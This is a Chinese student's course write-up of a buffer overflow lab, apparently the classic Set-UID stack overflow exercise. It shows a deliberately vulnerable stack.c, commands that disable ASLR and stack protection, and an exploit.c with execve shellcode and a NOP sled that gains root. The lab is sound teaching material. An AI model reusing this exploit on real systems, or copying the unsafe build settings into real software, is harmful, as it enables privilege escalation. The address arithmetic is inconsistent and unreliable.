20242822《Linux内核原理与分析》第十二周作业

news/2024/12/12 11:03:53/文章来源:https://www.cnblogs.com/20202215zxp/p/18601994

缓冲区溢出漏洞实验

一、实验简介

缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写。

二、实验准备

实验楼提供的是 64 位 Ubuntu linux,而本次实验为了方便观察汇编语句,我们需要在 32 位环境下作操作,因此实验之前需要做一些准备。

输入命令安装一些用于编译 32 位 C 程序的软件包:

sudo apt-get update 
sudo apt-get install -y lib32z1 libc6-dev-i386 lib32readline6-dev 
sudo apt-get install -y python3.6-gdbm gdb

三、实验步骤

3.1初始设置

1、Ubuntu 和其他一些 Linux 系统中,使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得十分困难,而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中,我们使用以下命令关闭这一功能:

sudo sysctl -w kernel.randomize_va_space=0

2、此外,为了进一步防范缓冲区溢出攻击及其它利用 shell 程序的攻击,许多shell程序在被调用时自动放弃它们的特权。因此,即使你能欺骗一个 Set-UID 程序调用一个 shell,也不能在这个 shell 中保持 root 权限,这个防护措施在 /bin/bash 中实现。

linux 系统中,/bin/sh 实际是指向 /bin/bash/bin/dash 的一个符号链接。为了重现这一防护措施被实现之前的情形,我们使用另一个 shell 程序(zsh)代替 /bin/bash。下面的指令描述了如何设置 zsh 程序:

sudo su 
cd /bin 
rm sh 
ln -s zsh sh 
exit

3、输入命令 linux32 进入32位linux环境。此时你会发现,命令行用起来没那么爽了,比如不能tab补全了,输入 /bin/bash 使用bash:

3.2shellcode

一般情况下,缓冲区溢出会造成程序崩溃,在程序中,溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址,那么程序就会跳转到该地址,如果该地址存放的是一段精心设计的代码用于实现其他功能,这段代码就是 shellcode。

3.3漏洞程序

/tmp 目录下新建一个 stack.c 文件:

cd /tmp 
vim stack.c

i 键切换到插入模式,再输入如下内容:

/* stack.c */ 
/* This program has a buffer overflow vulnerability. */ 
/* Our task is to exploit this vulnerability */ 
#include <stdlib.h> 
#include <stdio.h> 
#include <string.h> 
int bof(char *str) 
{    char buffer[12];     /* The following statement has a buffer overflow problem */     strcpy(buffer, str);     return 1; 
} 
int main(int argc, char **argv) 
{    char str[517];    FILE *badfile;     badfile = fopen("badfile", "r");    fread(str, sizeof(char), 517, badfile);    bof(str);     printf("Returned Properly\n");    return 1; 
}

通过代码可以知道,程序会读取一个名为“badfile”的文件,并将文件内容装入“buffer”。

编译该程序,并设置 SET-UID。命令如下:

sudo su 
gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c 
chmod u+s stack 
exit

3.4攻击程序

我们的目的是攻击刚才的漏洞程序,并通过攻击获得 root 权限。

/tmp 目录下新建一个 exploit.c 文件,输入如下内容:

/* exploit.c */ 
/* A program that creates a file containing code for launching shell*/ 
#include <stdlib.h> 
#include <stdio.h> 
#include <string.h> 
char shellcode[] =    "\x31\xc0" //xorl %eax,%eax    "\x50"     //pushl %eax    "\x68""//sh" //pushl $0x68732f2f    "\x68""/bin"     //pushl $0x6e69622f    "\x89\xe3" //movl %esp,%ebx    "\x50"     //pushl %eax    "\x53"     //pushl %ebx    "\x89\xe1" //movl %esp,%ecx    "\x99"     //cdq    "\xb0\x0b" //movb $0x0b,%al    "\xcd\x80" //int $0x80    ; void main(int argc, char **argv) {    char buffer[517];    FILE *badfile;     /* Initialize buffer with 0x90 (NOP instruction) */    memset(&buffer, 0x90, 517);     /* You need to fill the buffer with appropriate contents here */    strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");   //在buffer特定偏移处起始的四个字节覆盖sellcode地址      strcpy(buffer + 100, shellcode);   //将shellcode拷贝至buffer,偏移量设为了 100     /* Save the contents to the file "badfile" */    badfile = fopen("./badfile", "w");    fwrite(buffer, 517, 1, badfile);    fclose(badfile); }

注意上面的代码,\x??\x??\x??\x?? 处需要添上 shellcode 保存在内存中的地址,因为发生溢出后这个位置刚好可以覆盖返回地址。而 strcpy(buffer+100,shellcode); 这一句又告诉我们,shellcode 保存在 buffer + 100 的位置。下面我们将详细介绍如何获得我们需要添加的地址。

现在我们要得到 shellcode 在内存中的地址,输入命令进入 gdb 调试:

gdb stack 
disass main

结果如图:

esp 中就是 str 的起始地址,所以我们在地址 0x080484ee 处设置断点。

接下来的操作:

\# 设置断点 
b *0x080484ee 
r 
i r $esp

最后获得的这个 0xffffcfb0 就是 str 的地址。

使用十六进制加法计算器计算地址:

根据语句 strcpy(buffer + 100,shellcode); 我们计算 shellcode 的地址为 0xffffcfb0 + 0x64 = 0xffffd014

现在修改 exploit.c 文件,将 \x??\x??\x??\x?? 修改为计算的结果 \x54\xcf\xff\xff,注意顺序是反的。

然后,编译 exploit.c 程序:

gcc -m32 -o exploit exploit.c

3.5攻击结果

先运行攻击程序 exploit,再运行漏洞程序 stack,观察结果:

可见,通过攻击,获得了root 权限!

成功完成实验!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/851279.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

信而泰网络测试仪校准解决方案

一、影响仪表精度的因素 网络测试仪是用于对数据网络及其相关设备性能参数进行测试的仪表,可以模拟网络终端产生流量,进行网络性能测试,对网络状态进行实时监测,分析和统计。数字计量对于精准数据的网络测试仪来说是一剂强心针,它能促进网络测试仪的规范化、数据化、准确化…

京准电钟:计算机网络监控系统搭建NTP校时服务器

京准电钟:计算机网络监控系统搭建NTP校时服务器京准电钟:计算机网络监控系统搭建NTP校时服务器 京准电钟:计算机网络监控系统搭建NTP校时服务器 京准电钟官微——ahjzsz 我们都知道,对于监控设备来说,设备时间的统一和精准,是保障录像文件及日志可靠的关键。 虽然录像机、…

依靠 PROFINet 与 Modbus 协议让西门子 PLC 成功连接 RS485 接口变频器

在工业网络环境中,不同网络协议的沟通不畅是否曾让您倍感困扰?别担心,捷米特JM-RTU-PN 数据通讯模块横空出世,为您化解这一棘手难题!此模块专注于 PROFINet 网络与Modbus 网络间的数据交互,能够巧妙地将 RS485 网络接入西门子 PLC的PROFINet 网络架构之中,并且全面支持多…

广成CAN-485-西门子PLC调试

1,TBOX波特率500K, 2,信号解析

易基因:WGBS揭示Vpr蛋白在HIV-1感染中对CD4+ T细胞DNA甲基化变化的作用|项目文章

大家好,这里是专注表观组学十余年,领跑多组学科研服务的易基因。 全球约有3800万HIV-1感染者,每年新增感染者约150万。HIV-1主要攻击CD4+ T细胞,导致其耗竭,最终发展为艾滋病和死亡。尽管抗逆转录病毒治疗有效抑制HIV-1复制,但由于病毒在潜伏感染细胞中的持续存在,这种病…

pandas中的groupby函数分组函数和 mean 求平均值函数

import pandas as pd #建一个集合有两列 一列是班级列;第二列是成绩列 data = {class: [A, A, B, B, B],score: [80, 90, 70, 85, 95]} # 使用熊猫库的DateFrame类 将上面两列数据 二维结构化 复制给df df = pd.DataFrame(data) #对df调用分组方法groupby,对其再取平均值 结果…

文案课程

促销要写的明显 -不要恶趣味 -谐音可以用于写文案 -数字描述文案是有必要的,清晰明显

转载:【AI系统】模型压缩基本介绍

随着神经网络模型的复杂性和规模不断增加,模型对存储空间和计算资源的需求越来越多,使得部署和运行成本显著上升。模型压缩的目标是通过减少模型的存储空间、减少计算量或提高模型的计算效率,从而在保持模型性能的同时,降低模型部署的成本。模型压缩的目标可以概括为以下几…

转载:【AI系统】SqueezeNet 系列

本文将介绍 SqueezeNet 系列网络,在轻量化模型这个范畴中,Squeezenet 是最早的研究。主要针对了一些组件进行轻量化。与以往的网络都只讲网络如何设计不同。SqueezeNext 则从硬件角度分析如何加速,从而更全面地了解网络结构的设计。 SqueezeNet 模型 SqueezeNet:是轻量化主…

windows系统下Apollo搭建MQTT服务

第一步 准备部署文件 第二步 把jdk解压到位置 C:\Program Files 第三步 添加系统变量 变量:JAVA_HOME 值: C:\Program Files\jdk1.8.0_65 ClassPath Path 可直接用命令: Set JAVA_HOME=C:\Program Files\jdk1.8.0_65 Set classpath=%JAVA_HOME%\lib\tools.jar;%JAVA_HOME%\l…

转载:【AI系统】AI 编译器基本架构

在上篇文章中将 AI 编译器的发展大致分为了 3 个阶段,分别为 1)朴素编译器、2)专用编译器以及 3)通用编译器。 本文作为上一节 AI 编译器架构的一个延续,着重讨论 AI 编译器的通用架构。首先将回顾现有 AI 编译器架构(以 PyTorch 作为标杆),随后引出通用 AI 编译器的架…

转载:【AI系统】推理流程全景

本文介绍神经网络模型在部署态中的两种方式:云侧部署和边缘侧部署。其中,云侧部署适用于云服务器等具备强大计算能力和存储空间的环境,可以实现高吞吐量和集中的数据管理,但可能面临高成本、网络延迟和数据隐私等挑战。 边缘侧部署适用于边缘设备和移动设备等资源受限的环境…